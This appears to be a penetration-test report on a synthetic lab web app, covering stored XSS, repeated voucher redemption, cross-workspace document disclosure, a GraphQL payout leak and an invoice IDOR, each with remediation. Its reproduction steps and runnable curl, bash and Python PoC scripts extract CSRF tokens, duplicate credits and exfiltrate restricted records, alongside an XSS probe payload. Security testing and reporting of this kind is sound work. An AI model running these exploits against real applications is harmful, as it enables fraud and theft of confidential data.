Expected: `submit: 200` and the grep returns the article containing the literal `<img src=x onerror=window.__i637=1>`. If `<img` appeared instead, the sink would be correctly encoded. In a browser, add a breakpoint/watch on `window.__i637` to confirm handler execution (this step was not executed in the assessment runtime).

Root cause analysis

The review `message` (and presumably `author`) is interpolated into the server-rendered HTML template by string concatenation without an HTML-encoding step for the element-text context it lands in (`<div>{message}<XXXXXX>`). Server-side validation does not compensate: only length is enforced on `message` (~2.5–6 KB), the `author` field accepts an empty string, and markup-significant characters (`<`, `>`, `"`, `'`, `&`) pass through unfiltered. The app demonstrably knows how to escape — the `XXXXXX` contact form re-renders an XSS marker encoded — so the defect is a missing/omitted encoding call on the review-render path, not a missing capability. The CSP's `script-src 'unsafe-inline'` removes what would otherwise be a strong compensating layer against inline-handler payloads.

Remediation

1. **Encode at output (primary fix)**: HTML-escape the review `message` and `author` for the element-text context before interpolation — at minimum `& < > " '` (e.g. a context-aware templating engine with auto-escaping enabled, or an explicit escape helper matching the one already used for the `XXXXXX` contact render). Regression test: store `<img src=x onerror=alert(1)>`, assert the response contains `<img` and never a literal `<img`.
2. **If rich markup is intended**, sanitize server-side with an allow-list sanitizer instead of trusting input, and keep the sanitized subset explicit (bold/italic/links only, no event-handler attributes, no `javascript:` URLs).
3. **Input validation hygiene**: require a non-empty `author` (currently renders an empty `<strong><XXXXXX>`) and apply the same length bound to `author`; treat validation as defense-in-depth, never as the encoding substitute.
4. **CSP hardening (compensating control)**: replace `script-src 'unsafe-inline'` with nonce- or hash-based inline script policy; retain the `sandbox` directive, which already blocks JS cookie/storage access and outbound `connect-src`. Note this narrows blast radius but does not fix the injection.
5. **Verification of execution impact (follow-up)**: re-test in a real browser to measure what an executed handler can do under the current CSP (expected: DOM manipulation XXXXXX in-page phishing yes; cookie exfiltration and outbound fetch no) so the severity reflects measured behavior.

Evidence basis: executed live (HTTP-level, anonymous), XXXXXX; probe log `XXXXXX` lines 162–166; saved page/headers under `XXXXXX` and `XXXXXX`; finding node 654, standalone record 106, intent 637. Browser-side execution not performed — no browser available in the runtime; all execution claims above are marked as

unverified inferences.

TECHNICAL FINDING / F-020

MEDIUM

Single-use return voucher can be applied repeatedly by rotating request_key (credit duplication)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#20	Pending	XXXXXX

Single-use return voucher redeemable repeatedly by rotating `request_key` (credit duplication)

Overview

`POST XXXXXX` on the XXXXXX application enforces its own published policy — "Each return voucher may be applied once. Use a request key for retry protection." — **per `request_key` only, not per voucher**. A single-use return voucher (`CR-XXXXXX`, value 1000 cents) was legitimately redeemed once (balance 0→1000) and then redeemed a **second time** simply by resubmitting the identical voucher with a fresh `request_key` (balance 0→1000→2000, second `credit_id` and receipt issued). The server consults no per-voucher consumption state, so a holder can mint unlimited new request keys and redeem one "single-use" voucher arbitrarily many times.

Impact

- **Credit duplication XXXXXX monetary loss.** Each rotation of `request_key` mints an additional credit equal to the voucher value. For a real financial artifact (a return voucher is money owed to the customer), this lets a session holder inflate their credit balance without any corresponding entitlement — direct balance-sheet fraud at the application level.
- **Unbounded in principle.** The only observed limiter is the tester's own submission budget; nothing in the observed behavior caps the number of distinct keys per voucher (the voucher is never marked consumed, `GET XXXXXX` still advertises it after both redemptions).
- **Integrity of audit artifacts.** A receipt (`PROOF{XXXXXX}`) and a fresh `credit_id` are issued for the duplicate redemption, so duplicated transactions look legitimate in downstream auditing/reconciliation.
- **Severity: medium.** Rationale: it is a genuine financial business-logic flaw (OWASP API6 XXXXXX CWE-841), executed live with 100% success on duplicate attempts; but it is scoped to the session's *own* voucher (foreign-attempt vouchers are correctly rejected with 400), so it is self-enrichment against the operator rather than cross-tenant access or RCE. The app issues an anonymous member session freely, so no credential barrier exists either.

Measured impact

- **2 of 2 applications of the same voucher succeeded** (100% duplicate-redemption rate): balance went **0 → 1000 → 2000 cents** against a single 1000-cent voucher — **2× the entitled credit minted, live, in one session**.

- The run stopped at 2× only to respect the one-accepted-submission-per-form budget; the same-key idempotent-replay behavior was **not** re-measured after the second application (honest limitation: a third submission could have confirmed whether the original key still returns the cached result, but the per-voucher bypass itself was fully demonstrated).
- Negative controls measured: foreign-attempt voucher `CR-XXXXXX` → **400** (1/1); missing `request_key` → **400** "Supply your return voucher and a request key." (1/1). Contrast: `XXXXXX` replay → **409** "The last allocation has already been reserved." — proving the codebase knows how to enforce single-use elsewhere, and that the credits endpoint simply doesn't.
- All results executed live against the target with curl (session jar `jar_a`, attempt `XXXXXX`); balances verified via `GET XXXXXX` after every step.

Affected scope

- **Endpoint:** `POST XXXXXX` (form-encoded: `voucher`, `request_key`, `_csrf`).
- **Companion state endpoint:** `GET XXXXXX` (returns `balance_cents`, `policy`, `return_voucher`, `voucher_value_cents`).
- **Application:** XXXXXX app at `XXXXXX`.
- **Preconditions:** any member session (the app auto-assigns a synthetic identity, e.g. "Alex Morgan" XXXXXX workspace alpha, per cookie jar — no login required); valid session-bound CSRF token (CSRF enforcement was separately verified working: a foreign session's token → 403).
- **Parameters:** `voucher` is validated against the session's own voucher (good binding); `request_key` is the *only* dedup dimension — **any** fresh string creates a new redemption.

Reproduction steps

1. Start a session and obtain the per-attempt CSRF token from the app (the token is session-bound; reuse the same cookie jar for all calls below).
2. Read the baseline: `GET XXXXXX` → note `balance_cents` (0), `return_voucher` and `voucher_value_cents` (1000) issued to this session.
3. Redeem the voucher normally: `POST XXXXXX` with `voucher=CR-XXXXXX&request_key=return-application-1&_csrf=<token>` → `200 {"applied": true, "balance_cents": 1000, "credit_id": "XXXXXX"}`.
4. **Replay the exact same voucher with a new request key:** `POST XXXXXX` with `voucher=CR-XXXXXX&request_key=return-application-2&_csrf=<token>` → `200 {"applied": true, "balance_cents": 2000, "credit_id": "XXXXXX", "receipt": "PROOF{XXXXXX}"}`.
5. Confirm the balance: `GET XXXXXX` → `balance_cents: 2000`. The voucher is still advertised in the response and was never marked consumed.
6. (Scaling) Repeat step 4 with `return-application-3`, `-4`, … to mint further credits — not executed in this run to respect the submission budget.

Evidence

Executed live with curl (session jar `jar_a`, attempt `XXXXXX`):

TECHNICAL EVIDENCE

```
[credits baseline] 200 :: {"balance_cents": 0, "policy": "Each return voucher may be applied once. Use a
request key for retry protection.", "return_voucher": "CR-XXXXXX", "voucher_value_cents": 1000}

## probe A: foreign-attempt voucher CR-XXXXXX, key foreign-probe-1
-> 400 :: {"message": "Supply your return voucher and a request key.", "ok": false}
[credits after A] balance_cents: 0

## probe B: own voucher, key return-application-1 (legit claim)
-> 200 :: {"applied": true, "balance_cents": 1000, "credit_id": "XXXXXX"}
[credits after B] balance_cents: 1000

## probe C: same voucher NEW key return-application-2 (single-use invariant)
-> 200 :: {"applied": true, "balance_cents": 2000, "credit_id": "XXXXXX", "receipt": "PROOF{XXXXXX}"}
[credits after C] balance_cents: 2000

## probe D: no request_key
-> 400 :: {"message": "Supply your return voucher and a request key.", "ok": false}

## contrast: XXXXXX
claim #1 -> 200 {"remaining": 0, "reservation": "AL-203eb51fa3", "reserved": true}
claim #2 (replay) -> 409 {"message": "The last allocation has already been reserved.", "ok": false}
```

Key observations: after probe C the balance reflects **two** applications of a one-application voucher; `GET XXXXXX` continues to advertise the same `return_voucher` with unchanged policy text; a distinct `credit_id` and receipt were issued for the duplicate.

PoC

Complete runnable script (Python driving curl; run from the work directory with the session jar and a valid CSRF token):

TECHNICAL EVIDENCE

```
import subprocess, time, json

BASE = "XXXXXX"
CSRF = "<session-bound _csrf token>"   # harvested from the app's per-attempt token
JAR  = "jar_a.txt"                     # cookie jar holding the anonymous member session

def req(method, path, data=None):
    cmd = ["curl", "-sS", "-b", JAR, "-c", JAR, "-X", method]
    if data is not None:
        cmd += ["-H", "Content-Type: application/x-www-form-urlencoded", "--data-binary", data]
    cmd += [BASE + path, "-o", "body_tmp.bin", "-w", "__%{http_code} %{size_download}", "--max-time", "20"]
    r = XXXXXX(cmd, capture_output=True, text=True)
    try:    return XXXXXX(), XXXXXX(open("body_tmp.bin").read())
    except: return XXXXXX(), open("body_tmp.bin", "rb").read()[:300].decode(errors="replace")

def bal(label):
    m, b = req("GET", "XXXXXX"); print(f"[credits {label}] {m} :: {XXXXXX(b)[:220]}")

voucher = "CR-XXXXXX"          # the session's own return voucher
bal("baseline")
for key in ["return-application-1", "return-application-2", "return-application-3"]:
    m, b = req("POST", "XXXXXX",
               f"voucher={voucher}&request_key={key}&_csrf={CSRF}")
    print(f"claim {key} ->", m, "::", XXXXXX(b)[:250]); XXXXXX(0.2)
bal("final")
```

Each iteration with a **new** `request_key` re-applies the same voucher and adds `voucher_value_cents` to the balance (demonstrated live through `return-application-2`: 0→1000→2000). The reproduction steps above are themselves the PoC when no scripting environment is available.

Root cause analysis

The server treats `request_key` as the idempotency/dedup dimension and never records or checks per-voucher consumption state: - The voucher has **no "redeemed" flag** consulted at claim time — after two applications, `GET XXXXXX` still returns the same `return_voucher` as available, and the policy text ("applied once") is enforced nowhere. - `request_key` uniqueness is the *only* guard, and the client fully controls that value; any new string (`return-application-2`, `-3`, ...) constitutes a "new" request. This inverts the intended design: a request key should protect against *network-level retries of the same submission*, not against *redemption of an already-consumed voucher*. - Inconsistent internal standards: `XXXXXX` correctly enforces single-use with an explicit `409` on replay, showing the intended pattern exists but was not applied to the credits workflow. - Contributing factor: no uniqueness constraint tying (`voucher`, redemption event) in the credit ledger — two distinct `credit_id`s were minted from one voucher.

Remediation

1. **Enforce per-voucher single-use server-side (primary fix):** persist a consumption record for the voucher (e.g. `vouchers.voucher_id` with `redeemed_at`XXXXXX`redeemed_by`, or a unique index on `credit_ledger.voucher_id`) and check it before applying. On a second claim of a consumed voucher with a *different* `request_key`, return `409 {"message": "This return voucher has already been applied."}` — mirroring the existing `XXXXXX` behavior.
2. **Keep `request_key` strictly for retry idempotency:** same voucher + same key → return the original result unchanged (200, original `credit_id`); same voucher + different key after consumption → 409. This preserves the documented retry protection without allowing rotation to bypass it.
3. **Make the state transition atomic:** apply voucher-consumption and credit-creation in one transaction with a database-level unique constraint, so concurrent claims (double-click, retried POST) cannot race into two credits.
4. **Stop advertising a consumed voucher:** once redeemed, `GET XXXXXX` should report the voucher as consumed (or omit it), instead of continuing to present it with the "applied once" policy text.
5. **Consistency test XXXXXX regression guard:** add an automated test asserting "one voucher → at most one credit entry", parameterized over arbitrary `request_key` values, and a test that `XXXXXX` and `XXXXXX` behave identically on replay (409 vs. duplicated credit is currently an internal inconsistency).
6. **Hardening:** alert on balances that grow by duplicate redemptions of the same `voucher_id`, and rate-limit distinct `request_key` values per voucher/session to blunt automated farming.

Unverified XXXXXX needs further confirmation: behavior of a same-key replay *after* the voucher was applied (expected: idempotent cached result) was not re-measured post-second-application, to respect the one-accepted-submission-per-form budget; and redemption counts beyond 2× were not executed. Neither affects the confirmed core defect: per-voucher single-use is not enforced.

TECHNICAL FINDING / F-022

MEDIUM

Cross-workspace restricted document disclosure via bundle creation (documents parameter not workspace-validated)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#22	Pending	XXXXXX

Overview

`POST XXXXXX` on the XXXXXX application (`XXXXXX`) accepts a client-controlled, comma-separated `documents` list without enforcing the application's own bundle policy — "*A bundle may include documents from its project's workspace only.*" A session holding the alpha workspace identity submitted the beta workspace document `DOC-4102` (flagged `access: "restricted"`, "Partner settlement"); the bundle was created (`state: ready`) and its download ZIP returned the full restricted document content, including the assessment marker `PROOF{XXXXXX}`.

Impact

An anonymous holder of an alpha-workspace session (the app's default identity, auto-assigned per browser) can assemble and download documents belonging to another workspace, including documents the application explicitly labels `access: "restricted"`. In business terms this is cross-tenant disclosure of confidential material — in the app's own fiction, a partner settlement XXXXXX finance document — through a feature (bundle ZIP download) that appears designed to be the sanctioned way to export a project's files. The victim workspace takes no action and receives no notification. No write, privilege escalation, or code execution is involved, and bundle IDs are attempt-scoped (no cross-attempt reuse), so the exposure is limited to documents whose IDs the attacker can learn from the same-session `XXXXXX` listing. Severity: **medium** — object-level authorization failure (BOLA, OWASP API1 XXXXXX CWE-639) leading to cross-workspace read of restricted data, consistent with the severity assigned to the comparable invoice-IDOR finding (#100) on this application.

Measured impact

Executed live (curl, session jar `jar_a.txt`, per-attempt identity "Alex Morgan"XXXXXX alpha, attempt binding `XXXXXX`): - **1 of 1** foreign restricted documents listed to the session (`DOC-4102`, the only non-alpha item of the 2 items in `GET XXXXXX`) was accepted into the bundle and returned in full — 100% of the cross-workspace restricted data reachable from the listing was exfiltrated. - The resulting ZIP was 385 bytes and contained **2 of 2** requested files; `XXXXXX` (78 bytes) carried the restricted content and the marker `PROOF{XXXXXX}`, proving end-to-end readback, not just metadata. - Download replayed **2 of 2** times with an identical 200 response (repeatable, read-only exfiltration channel). - Defense that did work: a cross-attempt bundle ID (`XXXXXX...`, i.e. `XXXXXX`) was refused **1 of 1** times with 404 `{"message":"Bundle not found.","ok":false}` — bundle IDs are attempt-scoped, so the flaw is confined to the `documents` validation at creation time, not bundle-ID enumeration. Basis: all figures executed live against the target; no lab or static-only claims. Artifacts saved under `XXXXXX` (`bundle_dl.zip`, `bundle_x/XXXXXX`, `bundle_x/XXXXXX`).

Affected scope

- **Endpoint:** `POST XXXXXX` (form-encoded: `project`, `documents`, `_csrf`) — vulnerable parameter: `documents` (comma-separated document IDs).
- **Exfiltration channel:** `GET XXXXXX}XXXXXX` (returns a ZIP of the requested documents).
- **Data source:** document IDs are enumerable from the same session via `GET XXXXXX`, which lists foreign-workspace documents (including their `workspace` and `access` flags) to alpha members.
- **Identity context:** any session (the app issues an anonymous per-browser workspace-alpha identity; no login exists). A valid session-bound CSRF token is required and was supplied, so CSRF is not the issue — the server-side authorization check is what is missing.
- **Not affected:** `GET XXXXXX}XXXXXX` for another attempt's bundle ID (404), and the CSRF control itself (verified separately: a foreign session's token is rejected with 403).

Reproduction steps

All steps executed live with curl against the target base URL `B=XXXXXX`:

1. **Obtain a session and CSRF token.** Request any XXXXXX page (e.g. `GET $B/`) with a cookie jar; the app auto-assigns the synthetic identity (workspace `alpha`) and a per-attempt CSRF token (extracted from the page's `name=_csrf` field; in this run: `XXXXXX`).
2. **Enumerate documents.** `curl -sS -b jar_a.txt "$B/api/documents"` → the response states the policy and lists both the own-workspace document and the foreign restricted one: `{"bundle_policy":"A bundle may include documents from its project's workspace only.","items":[{"id":"DOC-4101","title":"Project brief","workspace":"alpha"},{"access":"restricted","id":"DOC-4102","title":"Partner settlement","workspace":"beta"}],"project":"PRJ-1001"}`
3. **Create a bundle mixing workspaces.** `curl -sS -b jar_a.txt -X POST "$B/api/bundles" -H "Content-Type: application/x-www-form-urlencoded" --data-binary "project=PRJ-1001&documents=DOC-4101,DOC-4102&_csrf=<token>"` → `200` with `{"id":"XXXXXX","state":"ready","download":".XXXXXX"}`. The server accepts the beta/restricted `DOC-4102` without error.
4. **Download the bundle.** `curl -sS -b jar_a.txt "$B/api/bundles/XXXXXX/download" -o bundle_dl.zip` → `200`, 385-byte ZIP containing `XXXXXX` and `XXXXXX`.
5. **Read the restricted content.** `unzip bundle_dl.zip` → `XXXXXX` contains: `Restricted settlement. Workspace beta. PROOF{XXXXXX}`.
6. **Optional negative control (scoped-ness).** `curl -sS -b jar_a.txt "$B/api/bundles/XXXXXX/download"` (another attempt's bundle ID) → `404 {"message":"Bundle not found.","ok":false}`, confirming bundle IDs are attempt-scoped and the defect is specifically the missing workspace check on `documents`.

Evidence

Executed-live transcript (curl, jar_a, attempt `XXXXXX`; steps 17215/17219 and 17407–17418 of work #2):

TECHNICAL EVIDENCE

```
GET XXXXXX → 200 (358 B, application/json)
{"bundle_policy":"A bundle may include documents from its project's workspace only.",
 "items":[{"id":"DOC-4101","title":"Project brief","workspace":"alpha"},
          {"access":"restricted","id":"DOC-4102","title":"Partner settlement","workspace":"beta"}],
```

TECHNICAL EVIDENCE / CONTINUED

```
 "project":"PRJ-1001"}

POST XXXXXX  (project=PRJ-1001&documents=DOC-4101,DOC-4102&_csrf=XXXXXX)
→ 200 (180 B): {"download":".XXXXXX","id":"XXXXXX","state":"ready"}

GET XXXXXX → 200 (385 B, ZIP: XXXXXX, XXXXXX)
GET XXXXXX (replay) → 200 (385 B, identical)

unzip output:
--- XXXXXX ---  Synthetic project brief. Workspace alpha.
--- XXXXXX ---  Restricted settlement. Workspace beta. PROOF{XXXXXX}

GET XXXXXX (cross-attempt id) → 404 {"message":"Bundle not found.","ok":false}
```

Note: no HTTP traffic was bound to this finding record (auto-binding off, bindings list empty at version 0); the transcript above is taken verbatim from the executed-live curl evidence recorded on the finding node and in the worker trace, with artifacts preserved under XXXXXX.

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# Cross-workspace restricted document disclosure via POST XXXXXX
B="XXXXXX"
JAR=$(mktemp)

# 1) Session + per-attempt CSRF token (app auto-assigns the anonymous alpha identity)
curl -sS -c "$JAR" -b "$JAR" "$B/" -o XXXXXX
CSRF=$(grep -o 'name=_csrf[^>]*value=[^ >]*' XXXXXX | head -1 | sed 's/.*value=XXXXXX; s/["'\'']XXXXXX')
echo "CSRF: $CSRF"

# 2) Enumerate documents (policy + foreign restricted doc are listed to us)
curl -sS -b "$JAR" -c "$JAR" "$B/api/documents"; echo

# 3) Create a bundle mixing own (alpha) and foreign restricted (beta) documents
curl -sS -b "$JAR" -c "$JAR" -X POST "$B/api/bundles" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "project=PRJ-1001&documents=DOC-4101,DOC-4102&_csrf=$CSRF"; echo
# → expect 200 {"id":"<bid>","state":"ready", ...} instead of a workspace-violation error

# 4) Download and inspect the ZIP
BID=$(curl -sS -b "$JAR" -c "$JAR" -X POST "$B/api/bundles" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary "project=PRJ-1001&documents=DOC-4101,DOC-4102&_csrf=$CSRF" \
  | sed -n 's/.*"id":"\([a-f0-9]*\)".*XXXXXX')
curl -sS -b "$JAR" "$B/api/bundles/$BID/download" -o XXXXXX
unzip -o XXXXXX && cat XXXXXX; echo
# → "Restricted settlement. Workspace beta. PROOF{...}" (restricted beta content)
```

Run as-is with bash + curl + unzip; only the CSRF extraction may need adjusting to the current page markup (`name=_csrf` attribute). The reproduction steps above are also self-sufficient if run manually.

Root cause analysis

The server treats the `documents` list in `POST XXXXXX` as trusted input: it resolves each submitted document ID and packs the files into the bundle ZIP without verifying that each document's `workspace` matches the `project`'s workspace, and without consulting the `access: "restricted"` flag that its own `XXXXXX` listing exposes. The bundle policy string ("A bundle may include documents from its project's workspace only") is advertised to clients but never enforced server-side — an authorization decision is delegated to the client. This is a classic missing object-level authorization check on a batch parameter (OWASP API1, CWE-639). The application demonstrably knows how to enforce tenancy elsewhere (e.g. `GET XXXXXX` and `GET XXXXXX` return 403 for non-entitled roles, the GraphQL `workspace(id:"beta")` resolver refuses with "workspace not accessible", and bundle/report-view IDs are attempt-scoped with 404s), which makes the unvalidated `documents` parameter an inconsistent, single-spot gap rather than a systemic absence of an authorization layer.

Remediation

1. **Enforce the policy server-side at bundle creation:** for every ID in `documents`, load the document's workspace and verify it equals the workspace of `project` (and that the project itself belongs to the caller's workspace). Reject the whole request otherwise with `403`XXXXXX`422` naming the offending IDs — fail closed, do not silently drop or partially include.
2. **Honor the `access` flag:** documents marked `access:"restricted"` should additionally require the role/entitlement the flag implies (e.g. finance/auditor), independent of workspace matching — restricted data must not become exportable merely by being mixed into a bundle.
3. **Authorize at download time too:** re-check the caller's entitlement to every document at `GET XXXXXX}XXXXXX` (defense in depth), so a legitimately created bundle cannot be replayed by a session that later loses access, and scope the ZIP manifest to what the requesting session may see.
4. **Regression tests:** add automated tests covering (a) bundle with one foreign-workspace document → rejected; (b) bundle with a restricted document as an unauthorized role → rejected; (c) all-own-workspace bundle → allowed; mirroring the existing negative tests for bundle-ID 404s.
5. **Consolidate authorization:XXXXXX route all object-workspace checks through one shared helper (the same one the invoice/GraphQL/payout paths use or should use) so per-endpoint gaps like this one are detectable by audit; log bundle creations with the resolved document→workspace mapping to make policy violations visible in the audit trail.

TECHNICAL FINDING / F-023

MEDIUM

GraphQL resolver exposes finance-restricted payout instructions (REST denies them)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#23	Pending	XXXXXX

Overview

`POST XXXXXX` on the XXXXXX application (`XXXXXX`) resolves `workspace(id:"alpha"){payout{accountLabel reference}}` for a plain anonymous member-level session, returning the finance-restricted payout instructions that the equivalent REST endpoint `GET XXXXXX` denies with `403 {"message":"Payout instructions are restricted to finance members.","ok":false}`. This is a broken-function-level-authorization XXXXXX broken-access-control flaw (OWASP API5/API6 class): the same capability has inconsistent server-side authorization across its two representations, and enabled GraphQL introspection makes the gap trivially discoverable.

Impact

- Any anonymous visitor (the app issues a per-cookie synthetic identity, role `member`, workspace `alpha`) can read finance-team-only payout instructions: the clearing account label (`accountLabel`) and the payout `reference` (the assessment's embedded proof marker `PROOF{XXXXXX}`).
- In a production analogue, payout/bank routing instructions are sensitive financial data. Exposure to non-finance members enables disclosure of payment routing details and provides material for payment-diversion/social-engineering fraud against the workspace.
- No write access, no cross-workspace escalation (workspace `beta` is correctly refused), and the only prerequisite — a CSRF token — is freely available on any page form to any anonymous user. Hence **severity: medium** (reliable, unauthenticated-adjacent disclosure of finance-restricted data; read-only, single-workspace scope).

Measured impact

- Executed live, anonymous, XXXXXX.
- REST control vs GraphQL: **1 of 1** control request denied (`GET XXXXXX` → 403) while the GraphQL equivalent returned **2 of 2** finance-restricted fields (`accountLabel` + `reference`) fully populated, including the proof marker.
- Schema enumeration: introspection resolved 100% of the reachable schema surface (`Query`, `Workspace`, `PayoutInstructions`, `String`, `Boolean`); `Workspace` exposes `name` and `payout`; `PayoutInstructions` exposes both `accountLabel` and `reference`.
- Defense observed (negative controls, all correct): `workspace(id:"beta")` → `workspace not accessible`; `workspace(id:123)` → argument type error; SQLi/SSTI marker strings in `id` → `workspace not accessible`; >7000-char query → `400 {"message":"Query is too large."}`; `GET XXXXXX` → `405 {"message":"Use the action`

`form."}`. None of these gates blocks the payout disclosure.

- No HTTP traffic bindings were captured for this finding (auto-binding off); the evidence basis is the live command executions recorded in the worker trace (work #637, steps 17375/17382/17399), quoted verbatim below.

Affected scope

- **Asset**: XXXXXX application, target origin only.
- **Endpoint**: `POST XXXXXX` (form-encoded body: `_csrf` + `query`).
- **Vulnerable field**: `XXXXXX(id:"alpha").payout { accountLabel reference }` (type `PayoutInstructions`).
- **Required prerequisites**: session cookie (issued automatically to any anonymous visitor) + CSRF token from any page form.
- **Contrast/control**: `GET XXXXXX` (REST) — correctly enforces finance-role membership.
- **Enabler**: GraphQL introspection (`__schema`, `__type`) enabled for anonymous sessions.

Reproduction steps

1. Establish a session and obtain a CSRF token: XXXXXX the XXXXXX root page with a cookie jar, then read the hidden `_csrf` input from any page form (the app binds the token to the session cookie).
2. Baseline control — confirm REST denies the data: `GET XXXXXX` with the session cookie → `403 {"message":"Payout instructions are restricted to finance members.","ok":false}`.
3. (Optional) Discover the sensitive field via introspection: `POST XXXXXX` with query `{ __type(name: "PayoutInstructions") { fields { name } } }` → `accountLabel`, `reference`.
4. Exploit — read the finance-restricted data via GraphQL: `POST XXXXXX` with form body `_csrf=<token>&query={ workspace(id: "alpha") { name payout { accountLabel reference } } }` → `200` with both payout fields.

Evidence

REST control (denied, same session):

TECHNICAL EVIDENCE

```
GET XXXXXX
→ 403
{"message":"Payout instructions are restricted to finance members.","ok":false}
```

GraphQL exploit (allowed, same session, same data):

TECHNICAL EVIDENCE

```
[GQL-PAYOUT] POST XXXXXX [payout read] :: 200 ::
{
  "data": {
    "workspace": {
      "name": "Helix Studio",
      "payout": {
        "accountLabel": "Synthetic finance clearing account",
        "reference": "PROOF{XXXXXX}"
      }
```

TECHNICAL EVIDENCE / CONTINUED

```
    }
  }
}
```

Schema discovery via enabled introspection:

TECHNICAL EVIDENCE

```
[GQLSCHEMA] POST XXXXXX [payout-fields] :: 200 ::
{ "data": { "__type": { "fields": [
    { "name": "accountLabel", "type": { "kind": "SCALAR", "name": "String" } },
    { "name": "reference",    "type": { "kind": "SCALAR", "name": "String" } } ] } } }

ALL TYPE NAMES: ['Query', 'Workspace', 'String', 'PayoutInstructions', 'Boolean']
```

Negative controls from the same probe batch (trace step 17375):

TECHNICAL EVIDENCE

```
[workspace-beta] → 200 {"data":{"workspace":null},"errors":[{"message":"workspace not accessible"}]}
[huge (7000-char id)] → 400 {"message":"Query is too large.","ok":false}
[GET XXXXXX] → 405 {"message":"Use the action form.","ok":false}
```

PoC

The reproduction steps are the PoC; a runnable curl equivalent:

TECHNICAL EVIDENCE

```
BASE="XXXXXX"
JAR=$(mktemp)

# 1. Session cookie + CSRF token from any page form
curl -s -c "$JAR" "$BASE/" -o XXXXXX
CSRF=$(grep -o 'name=_csrf[^>]*value="[^"]*"' XXXXXX | grep -o '[a-f0-9]\{8,\}' | head -1)

# 2. Control: REST denies the same data
curl -s -b "$JAR" "$BASE/api/billing/payout"
# → {"message":"Payout instructions are restricted to finance members.","ok":false}

# 3. Exploit: GraphQL resolves the finance-restricted payout instructions
curl -s -b "$JAR" "$BASE/api/graphql" \
  --data-urlencode "_csrf=$CSRF" \
  --data-urlencode 'query={ workspace(id: "alpha") { name payout { accountLabel reference } } }'
# → 200 {"data":{"workspace":{"name":"Helix Studio","payout":{"accountLabel":...,"reference":"PROOF{...}"}}}}
```

Root cause analysis

Authorization for the "read payout instructions" capability is implemented **only on the REST representation** (`GET XXXXXX` checks finance-role membership), while the GraphQL resolver for `XXXXXX` performs no equivalent check — it only reuses the workspace-tenancy check (`workspace not accessible` for `beta`). This is the classic split-brain pattern: access control attached per-route/per-representation instead of to the underlying capability, so when a second exposure layer (GraphQL) is added, the policy is not carried over. Enabled introspection compounds the issue by advertising the under-protected `PayoutInstructions` type to any anonymous session, making the discrepancy discoverable in minutes.

Remediation

1. **Fix the resolver**: enforce the same finance-role authorization inside the `XXXXXX` resolver (or as a field-level directive/check on `PayoutInstructions`), returning a GraphQL error equivalent to the REST 403 for non-finance members. Verify a member-session query for `payout` no longer returns `accountLabel`XXXXXX`reference`.
2. **Centralize the policy**: extract a shared authorization function (e.g., `requireFinanceRole(session)`) invoked by *both* the REST handler and the GraphQL resolver, so the two representations cannot drift again.
3. **Add authorization-parity tests**: an automated test that enumerates sensitive REST endpoints and asserts each has an identical GraphQL path with the identical policy (deny for member role), so future fields inherit the check.
4. **Defense in depth (optional)**: disable or restrict GraphQL introspection for anonymous/non-privileged sessions in production, and consider request-cost limiting (a `Query is too large.` cap already exists — good) alongside it.

Report basis: live executions recorded in work #637 (steps 17373–17413), finding node 645, standalone record 102. No HTTP traffic bindings were recorded for this finding (auto-binding disabled); the excerpts above are the verbatim live command outputs from the worker trace.

TECHNICAL FINDING / F-025

MEDIUM

BOLA/IDOR: anonymous cross-workspace invoice read via sequential id (XXXXXX})

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#25	Pending	XXXXXX

BOLA/IDOR: Anonymous cross-workspace invoice read via sequential ID on XXXXXX}

Overview

The REST invoice detail endpoint `GET XXXXXX}` (XXXXXX app at `XXXXXX`) performs no ownership/workspace check on the object reference: an anonymous session assigned to workspace `alpha` can read any other workspace's invoice — including its confidential `detail` field — simply by guessing the sequential ID (e.g. `XXXXXX` returned workspace `beta`'s invoice in full).

Impact

An unauthenticated caller (the app auto-issues a synthetic identity and session cookie to any visitor) can read financial records belonging to other tenants/workspaces: amounts, references, and the `detail` field, which in the tested fixture carried the confidential marker `PROOF{XXXXXX}`. Because IDs are sequential and the endpoint answers `200` for existing objects vs `404` for non-existent ones, the entire invoice ID space is trivially enumerable, enabling bulk cross-tenant extraction of billing data with a simple loop. This is a direct violation of the tenancy boundary the application itself enforces elsewhere (workspace-scoped listing, GraphQL resolver).

Severity: medium — unauthenticated cross-tenant read of sensitive financial records, but read-only, no write/takeover path was demonstrated, and the exposed dataset in the assessment fixture was small. Rationale: OWASP API1 (BOLA) with a working anonymous exploit is normally high; it is rated medium here because impact is limited to reading invoice records (no modification, no PII beyond amounts/references/notes observed).

Measured impact

- Executed live (curl, session `jar_a`, run binding `XXXXXX`, workspace `alpha`, no token/role/CSRF needed).
- **1 of 1 foreign-workspace invoice IDs probed was returned in full (100%)**: `GET XXXXXX` → `200` with workspace `beta`'s record (`amount: 7200`, `reference: XXXXXX-26-102`, `detail: PROOF{XXXXXX}`).
- **7 distinct ID probes measured**: 2 returned `200` (`3101` own-workspace, `3102` foreign-workspace `beta`), 5 returned `404` (`3100`, `9999`, `abc`, `3103`, `3104`) — the clean `200`XXXXXX`404` distinction makes sequential enumeration of valid invoice IDs reliable.
- What the defense blocked (contrast, also executed live): the workspace-scoped listing `GET XXXXXX` returns only `alpha` items, and the GraphQL resolver rejects cross-workspace reads — `workspace(id: "beta")` → error `"workspace not accessible"`. The REST detail path lacks exactly this check; nothing in it stopped the cross-workspace read.

Affected scope

- **Asset/endpoint:** `GET XXXXXX}` — full path `XXXXXX}`
- **Parameter:** `{id}` path segment — sequential invoice identifier (`3101`, `3102`, ...); non-numeric and out-of-range values are handled (`404`), but no ownership filter is applied to values that resolve.
- **Prerequisites:** none beyond a normal visit — the app auto-assigns a workspace (`alpha`) and session cookie to any anonymous visitor; no authentication token, role, or CSRF token is required (GET request, no body).
- **Not affected (for contrast, same app):** `GET XXXXXX` (listing is workspace-scoped) and `POST XXXXXX` `workspace(id:)` resolver (enforces `"workspace not accessible"`).

Reproduction steps

1. Fetch the app root to obtain the anonymous session cookie and the auto-assigned workspace (`alpha`): `curl -sS -c XXXXXX "XXXXXX"`
